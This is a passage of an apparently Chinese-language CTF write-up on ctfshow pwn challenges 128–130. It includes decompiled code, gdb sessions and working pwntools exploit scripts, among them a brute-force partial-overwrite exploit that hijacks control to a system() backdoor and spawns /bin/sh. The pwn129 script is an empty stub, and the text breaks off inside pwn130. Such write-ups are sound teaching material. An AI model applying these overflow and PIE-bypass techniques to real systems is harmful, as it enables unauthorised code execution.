class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    FORTIFY:    Enabled</span><br><span class="line">    SHSTK:      Enabled</span><br><span class="line">    IBT:        Enabled</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn128-ASLR-0时本地能打通，试一下远程"><a href="#pwn128-ASLR-0时本地能打通，试一下远程" class="headerlink" title="pwn128[ASLR:0时本地能打通，试一下远程]"></a>pwn128[ASLR:0时本地能打通，试一下远程]</h2><h6 id="Hint：Bypass-PIE-本地环境跟远程环境略有差别，请注意识别查看并修改exp"><a href="#Hint：Bypass-PIE-本地环境跟远程环境略有差别，请注意识别查看并修改exp" class="headerlink" title="Hint：Bypass PIE(本地环境跟远程环境略有差别，请注意识别查看并修改exp)"></a>Hint：Bypass PIE(本地环境跟远程环境略有差别，请注意识别查看并修改exp)</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位开启NX，开启了PIE，部分开启RELRO</p><p>IDA查看main函数，跟进dopwn()：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(</span><br><span class="line">    <span class="string">&quot;--------------------------------------------\n&quot;</span></span><br><span class="line">    <span class="string">&quot;|   Welcome to CTFshow-PWN service          |\n&quot;</span></span><br><span class="line">    <span class="string">&quot;--------------------------------------------&quot;</span>);</span><br><span class="line">  dopwn(</span><br><span class="line">    <span class="string">&quot;--------------------------------------------\n&quot;</span></span><br><span class="line">    <span class="string">&quot;|   Welcome to CTFshow-PWN service          |\n&quot;</span></span><br><span class="line">    <span class="string">&quot;--------------------------------------------&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> __fastcall <span class="title function_">dopwn</span><span class="params">(__int64 p______________________________________________n____Welcome_to_CT)</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE v2[<span class="number">140</span>]; <span class="comment">// [rsp+0h] [rbp-C0h] BYREF</span></span><br><span class="line">  _DWORD s_[<span class="number">13</span>]; <span class="comment">// [rsp+8Ch] [rbp-34h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s_, <span class="number">0</span>, <span class="number">0x28u</span>);</span><br><span class="line">  s_[<span class="number">10</span>] = <span class="number">140</span>;</span><br><span class="line">  set_user(v2);</span><br><span class="line">  set_pwn(v2);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;PWN delivered&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li><code>dopwn()</code>：初始化栈变量<code>v2[140]</code>（偏移<code>rbp-C0h</code>）和<code>s_[13]</code>（偏移<code>rbp-34h</code>）</li></ul><p>分别跟进set_user():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">set_user</span><span class="params">(__int64 a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">140</span>]; <span class="comment">// [rsp+10h] [rbp-90h] BYREF</span></span><br><span class="line">  <span class="type">int</span> n40; <span class="comment">// [rsp+9Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="number">0x80u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter your name&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;&gt; &quot;</span>);</span><br><span class="line">  fgets(s, <span class="number">128</span>, _bss_start);</span><br><span class="line">  <span class="keyword">for</span> ( n40 = <span class="number">0</span>; n40 &lt;= <span class="number">40</span> &amp;&amp; s[n40]; ++n40 )</span><br><span class="line">    *(_BYTE *)(a1 + n40 + <span class="number">140</span>) = s[n40];</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Hi, %s&quot;</span>, (<span class="type">const</span> <span class="type">char</span> *)(a1 + <span class="number">140</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>读取 128 字节用户名，将前 41 字节（<code>n40=0~40</code>）复制到<code>v2+140</code>~&#96;v2+180<code>，其中</code>v2+180<code>恰好是</code>s_[10]<code>（</code>strncpy&#96;的长度参数）。</li></ul><p>set_pwn():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *__fastcall <span class="title function_">set_pwn</span><span class="params">(__int64 dest)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">1024</span>]; <span class="comment">// [rsp+10h] [rbp-400h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;PWN our leader&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;&gt; &quot;</span>);</span><br><span class="line">  fgets(s, <span class="number">1024</span>, _bss_start);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">strncpy</span>((<span class="type">char</span> *)dest, s, *(<span class="type">int</span> *)(dest + <span class="number">180</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>读取 1024 字节输入，通过<code>strncpy(dest, s, dest+180)</code>复制到<code>v2</code>，<strong>长度由<code>dest+180</code>（即<code>s_[10]</code>）控制</strong>—— 若修改<code>s_[10]</code>为大值，可触发栈溢出。</li></ul><p>仔细查看发现存在后⻔函数GAME_OVER()：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">GAME_OVER</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">128</span>]; <span class="comment">// [rsp+0h] [rbp-80h] BYREF</span></span><br><span class="line"></span><br><span class="line">  fgets(s, <span class="number">128</span>, _bss_start);</span><br><span class="line">  <span class="keyword">return</span> system(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个程序开启了PIE保护，我们不能确定后⻔函数GAME_OVER()的具体地址，因此没办法直接通过溢出来跳转到后⻔函数GAME_OVER()。我们可以尝试爆破。</p><p>由于内存的⻚载⼊机制，PIE的随机化只能影响到单个内存⻚。通常来说，⼀个内存⻚⼤⼩为0x1000，这就意味着不管地址怎么变，某条指令的后12位，3个⼗六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写⼊，每字节8位)就可以快速爆破或者直接劫持EIP。查看汇编代码：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:0000000000000900 ; int GAME_OVER()</span><br><span class="line">.text:0000000000000900                 public GAME_OVER</span><br><span class="line">.text:0000000000000900 GAME_OVER       proc near</span><br><span class="line">.text:0000000000000900</span><br><span class="line">.text:0000000000000900 s               = byte ptr -80h</span><br><span class="line">.text:0000000000000900</span><br><span class="line">.text:0000000000000900 ; __unwind &#123;</span><br><span class="line">.text:0000000000000900                 push    rbp</span><br><span class="line">.text:0000000000000901                 mov     rbp, rsp</span><br><span class="line">.text:0000000000000904                 add     rsp, 0FFFFFFFFFFFFFF80h</span><br><span class="line">.text:0000000000000908                 mov     rdx, cs:__bss_start ; stream</span><br><span class="line">.text:000000000000090F                 lea     rax, [rbp+s]</span><br><span class="line">.text:0000000000000913                 mov     esi, 80h        ; n</span><br><span class="line">.text:0000000000000918                 mov     rdi, rax        ; s</span><br><span class="line">.text:000000000000091B                 call    _fgets</span><br><span class="line">.text:0000000000000920                 lea     rax, [rbp+s]</span><br><span class="line">.text:0000000000000924                 mov     rdi, rax        ; command</span><br><span class="line">.text:0000000000000927                 call    _system</span><br><span class="line">.text:000000000000092C                 nop</span><br><span class="line">.text:000000000000092D                 leave</span><br><span class="line">.text:000000000000092E                 retn</span><br><span class="line">.text:000000000000092E ; &#125; // starts at 900</span><br><span class="line">.text:000000000000092E GAME_OVER       endp</span><br></pre></td></tr></table></figure><p>我们可以看到其地址后三位为0x900</p><p>但是由于我们的payload必须按字节写⼊，每个字节是两个⼗六进制数，所以我们必须输⼊两个字节。除去已知的0x900还需要爆破⼀个⼗六进制数。这个数只可能在0~0xf之间改变，因此爆破并空间不⼤。</p><p>我们知道爆破失败的话程序就会崩溃，此时io的连接会关闭，因此调⽤io.recv( )会触发⼀个EOFError。由于这个特性，我们可以使⽤python的try…except…来捕获这个错误并进⾏处理。</p><p>值得注意的是，由于没有刷新缓冲区，导致远程部署环境时回显信息会有差异，即没有及时显⽰，先让你输⼊，在两次输⼊过后才进⾏回显。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ gdb ./pwn</span><br><span class="line">pwndbg&gt; info <span class="built_in">functions</span> GAME_OVER</span><br><span class="line">All <span class="built_in">functions</span> matching regular expression <span class="string">&quot;GAME_OVER&quot;</span>:</span><br><span class="line"></span><br><span class="line">Non-debugging symbols:</span><br><span class="line">0x0000000000000900  GAME_OVER</span><br><span class="line"></span><br><span class="line">pwndbg&gt; r</span><br><span class="line"></span><br><span class="line">&gt; ^C</span><br><span class="line"></span><br><span class="line">pwndbg&gt; vmmap</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA</span><br><span class="line">             Start                End Perm     Size  Offset File (<span class="built_in">set</span> vmmap-prefer-relpaths on)</span><br><span class="line">    0x555555400000     0x555555401000 r-xp     1000       0 pwn</span><br><span class="line"></span><br><span class="line">pwndbg&gt; x/1i 0x555555400900</span><br><span class="line">   0x555555400900 &lt;GAME_OVER&gt;:push   rbp</span><br></pre></td></tr></table></figure><p>本地exp：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.update(arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 步骤1：通过set_user修改strncpy的长度参数（s_[10]）</span></span><br><span class="line"><span class="comment"># 前40字节填充，第41字节修改为0xca（大于140即可，如0xca=202）</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * <span class="number">40</span> + <span class="string">b&#x27;\xca&#x27;</span></span><br><span class="line">io.recvuntil(<span class="string">b&quot;Enter your name&quot;</span>)</span><br><span class="line">io.sendlineafter(<span class="string">b&quot;&gt; &quot;</span>,payload)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 步骤2：通过set_pwn溢出覆盖返回地址到GAME_OVER()</span></span><br><span class="line"><span class="comment"># 先通过gdb调试获取本地GAME_OVER()的实际地址</span></span><br><span class="line"><span class="comment"># 计算偏移：v2到返回地址的距离是0xc8（200）字节</span></span><br><span class="line">game_over_addr = <span class="number">0x555555400900</span></span><br><span class="line">payload = cyclic(<span class="number">0xc0</span>+<span class="number">8</span>) + p64(game_over_addr)    <span class="comment"># 填充到返回地址+覆盖返回地址</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&quot;PWN our leader&quot;</span>)</span><br><span class="line">io.sendlineafter(<span class="string">b&quot;&gt; &quot;</span>,payload)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 触发GAME_OVER()后发送shell命令</span></span><br><span class="line">io.sendline(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>远程exp:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.update(arch = <span class="string">&#x27;amd64&#x27;</span>, os = <span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line">i = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    i += <span class="number">1</span></span><br><span class="line">    <span class="built_in">print</span>(i)</span><br><span class="line">    io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    <span class="comment">#io.recv()</span></span><br><span class="line">    <span class="comment"># 前40字节填充，第41字节修改为0xca（大于140即可，如0xca=202）</span></span><br><span class="line">    payload = <span class="string">b&#x27;a&#x27;</span>*<span class="number">40</span></span><br><span class="line">    payload += <span class="string">b&#x27;\xca&#x27;</span></span><br><span class="line">    io.sendline(payload)</span><br><span class="line">    <span class="comment">#io.recv()</span></span><br><span class="line">    payload = cyclic(<span class="number">0xc0</span>+<span class="number">8</span>)</span><br><span class="line">    payload += <span class="string">b&#x27;\x01\x09&#x27;</span> <span class="comment">#尝试覆盖函数返回地址的低 2 个字节</span></span><br><span class="line">    io.sendline(payload)</span><br><span class="line">    <span class="comment">#io.recv()</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        io.recv(timeout = <span class="number">1</span>)</span><br><span class="line">    <span class="keyword">except</span> EOFError:</span><br><span class="line">        io.close()</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        sleep(<span class="number">0.1</span>)</span><br><span class="line">        io.sendline(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">        sleep(<span class="number">0.1</span>)</span><br><span class="line">        io.interactive()</span><br><span class="line">        <span class="keyword">break</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">1</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 570</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn129【先过】"><a href="#pwn129【先过】" class="headerlink" title="pwn129【先过】"></a>pwn129【先过】</h2><h6 id="Hint：Calc-1-0-远程环境：Ubuntu-16-04"><a href="#Hint：Calc-1-0-远程环境：Ubuntu-16-04" class="headerlink" title="Hint：Calc 1.0(远程环境：Ubuntu 16.04)"></a>Hint：Calc 1.0(远程环境：Ubuntu 16.04)</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br></pre></td></tr></table></figure><p>64位开启NX，开启了PIE，部分开启RELRO</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">main</span><span class="params">(__int64 a1, <span class="type">char</span> **a2, <span class="type">char</span> **a3, __int64 a4, __int64 a5, __int64 a6)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> n2; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  sub_DDC(a1, a2, a3, a4, a5, a6, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">  sub_B69();</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      sub_DA5();</span><br><span class="line">      n2 = sub_B00();</span><br><span class="line">      <span class="keyword">if</span> ( n2 != <span class="number">2</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      sub_D06();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( n2 == <span class="number">3</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">if</span> ( n2 == <span class="number">1</span> )</span><br><span class="line">      sub_B94();</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Wrong input&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  sub_D92();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>sub_DDC进⾏数值初始化（init），sub_B69进⾏打印logo(logo)。</p><p>接下来进⼊⼀个while循环中，紧接着进⼊另⼀个while循环，调⽤sub_DA5函数打印菜单</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">sub_DA5</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1.RUN&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2.SHELL&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;3.Abandon!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Choice:&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后调⽤sub_DB00函数，读⼊⼀个字符，若此字符⼩于等于0则返回-1，否则，将字符⽤strtol函数强转为⼗进制数据，然后返回。返回值赋值给main函数的局部变量n2。若n2不为2则结束当前while循环，否则，调⽤sub_D06函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 <span class="title function_">sub_B00</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _QWORD buf[<span class="number">4</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="keyword">sizeof</span>(buf));</span><br><span class="line">  <span class="keyword">if</span> ( read(<span class="number">0</span>, buf, <span class="number">0x1Fu</span>) &gt; <span class="number">0</span> )</span><br><span class="line">    <span class="keyword">return</span> strtol((<span class="type">const</span> <span class="type">char</span> *)buf, <span class="number">0</span>, <span class="number">10</span>);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">sub_D06</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s_[<span class="number">264</span>]; <span class="comment">// [rsp+8h] [rbp-108h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( unk_20208C )</span><br><span class="line">    <span class="built_in">sprintf</span>(s_, <span class="string">&quot;Hint: %p\n&quot;</span>, &amp;system);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="built_in">strcpy</span>(s_, <span class="string">&quot;NO PWN NO FUN&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(s_);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>会输出system函数的地址。</p><p>接下来就是第⼆层while循环下⾯的语句：</p><p>若刚刚读⼊数字n2不为3则结束循环，若n2不为1则打印字符串并继续最外层的while循环。</p><p>若n2为1，则进⼊sub_B94函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">sub_B94</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v1; <span class="comment">// [rsp+0h] [rbp-120h]</span></span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// [rsp+8h] [rbp-118h]</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// [rsp+Ch] [rbp-114h]</span></span><br><span class="line">  __int64 v4; <span class="comment">// [rsp+10h] [rbp-110h]</span></span><br><span class="line">  __int64 n99; <span class="comment">// [rsp+10h] [rbp-110h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> n100; <span class="comment">// [rsp+18h] [rbp-108h]</span></span><br><span class="line">  <span class="type">char</span> s_[<span class="number">256</span>]; <span class="comment">// [rsp+20h] [rbp-100h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;How many doubts?&quot;</span>);</span><br><span class="line">  v1 = sub_B00();</span><br><span class="line">  <span class="keyword">if</span> ( v1 &gt; <span class="number">0</span> )</span><br><span class="line">    v4 = v1;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Loser.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Any more?&quot;</span>);</span><br><span class="line">  n99 = v4 + sub_B00();</span><br><span class="line">  <span class="keyword">if</span> ( n99 &gt; <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( n99 &lt;= <span class="number">99</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      n100 = n99;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;You are being a real man.&quot;</span>);</span><br><span class="line">      n100 = <span class="number">100</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Let&#x27;s go! &quot;</span>);</span><br><span class="line">    v2 = time(<span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)sub_E43(n100) )</span><br><span class="line">    &#123;</span><br><span class="line">      v3 = time(<span class="number">0</span>);</span><br><span class="line">      <span class="built_in">sprintf</span>(s_, <span class="string">&quot;Great job! You finished %d question  %d seconds\n&quot;</span>, n100, v3 - v2);</span><br><span class="line">      <span class="built_in">puts</span>(s_);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;You failed.&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Loser~ Loser~ Loser~ Loser~ Loser~&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进sub_E43():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">_BOOL8 __fastcall <span class="title function_">sub_E43</span><span class="params">(__int64 n100)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v2; <span class="comment">// rax</span></span><br><span class="line">  _QWORD buf[<span class="number">4</span>]; <span class="comment">// [rsp+10h] [rbp-30h] BYREF</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [rsp+34h] [rbp-Ch]</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// [rsp+38h] [rbp-8h]</span></span><br><span class="line">  <span class="type">int</span> v6; <span class="comment">// [rsp+3Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="keyword">sizeof</span>(buf));</span><br><span class="line">  <span class="keyword">if</span> ( !(_DWORD)n100 )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)sub_E43((<span class="type">unsigned</span> <span class="type">int</span>)(n100 - <span class="number">1</span>)) )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  v6 = rand() % (<span class="type">int</span>)n100;</span><br><span class="line">  v5 = rand() % (<span class="type">int</span>)n100;</span><br><span class="line">  v4 = v5 * v6;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;======================Calc 1.0======================&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;doubt %d\n&quot;</span>, n100);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Question: %d * %d = ? Answer:&quot;</span>, v6, v5);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x400u</span>);</span><br><span class="line">  v2 = strtol((<span class="type">const</span> <span class="type">char</span> *)buf, <span class="number">0</span>, <span class="number">10</span>);</span><br><span class="line">  <span class="keyword">return</span> v2 == v4;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>read会读⼊0x400个字符到栈上，⽽对应的局部变量buf显然没那么⼤，因此会造成栈溢出。由于使⽤了PIE，⽽且题⽬中虽然有system但是没有后⻔，所以本题没办法使⽤partial write劫持RIP。</p><p>在进⾏调试时发现了栈上有⼤量指向libc的地址。</p><p>查看⼀下汇编代码：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">mov     eax, [rbp+var_34]</span><br><span class="line">mov     esi, eax</span><br><span class="line">lea     rdi, aDoubtD    ; &quot;doubt %d\n&quot;</span><br><span class="line">mov     eax, 0</span><br><span class="line">call    _printf</span><br><span class="line">mov     edx, [rbp+var_8]</span><br></pre></td></tr></table></figure><p>可以发现printf输出的参数位于栈上，通过rbp定位。</p><p>利⽤这两个信息，我们很容易想到可以通过partial overwrite修改RBP的值指向这块内存，从⽽泄露出这些地址，利⽤这些地址和libc就可以计算到one gadget RCE的地址从⽽栈溢出调⽤。我们把RBP的最后两个⼗六进制数改成0x5c，此时[rbp+var_34] &#x3D; 0x5c-0x34&#x3D;0x28，泄露位于这个位置的地址。但是成功率有限，有时候能泄露出libc中的地址，有时候是start的⾸地址，有时候是⽆意义的数据，甚⾄会直接出错，原因是[rbp+var_34]中的数据是0，idiv除法指令产⽣了除零错误。此外，我们观察泄露出来的addr_l8会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位，低8个⼗六进制数。⽽这个数的最⾼位可能是0或者1，转换成有符号整数就可能是正负两种情况。</p><p>由于我们泄露出来的只是地址的低32位，抛去前⾯的4个0，我们还需要猜16位，即4个⼗六进制数，这种⽅式的爆破区间有点⼤，成功⼏率较低，需要对各种条件进⾏限制才能提升⼏率。</p><p>经过调试，发现程序加载地址都为0x000055XXXXXXXXXX-0x000056XXXXXXXXXX</p><p>libc的地址都为0x7fXXXXXXXXXX</p><p>已知8个16进制数，剩下两个随便填⼀下如：2a</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">payload = <span class="string">b&quot;&quot;</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><h2 id="pwn130-先过"><a href="#pwn130-先过" class="headerlink" title="pwn130[先过]"></a>pwn130[先过]</h2><h6 id="Hint：Calc-2-0远程环境：Ubuntu-16-04"><a href="#Hint：Calc-2-0远程环境：Ubuntu-16-04" class="headerlink" title="Hint：Calc 2.0远程环境：Ubuntu 16.04"></a>Hint：Calc 2.0远程环境：Ubuntu 16.04</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>还是64位保护全开</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v4; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">int</span> n0x7FFFFFFF; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v6; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Maybe these help 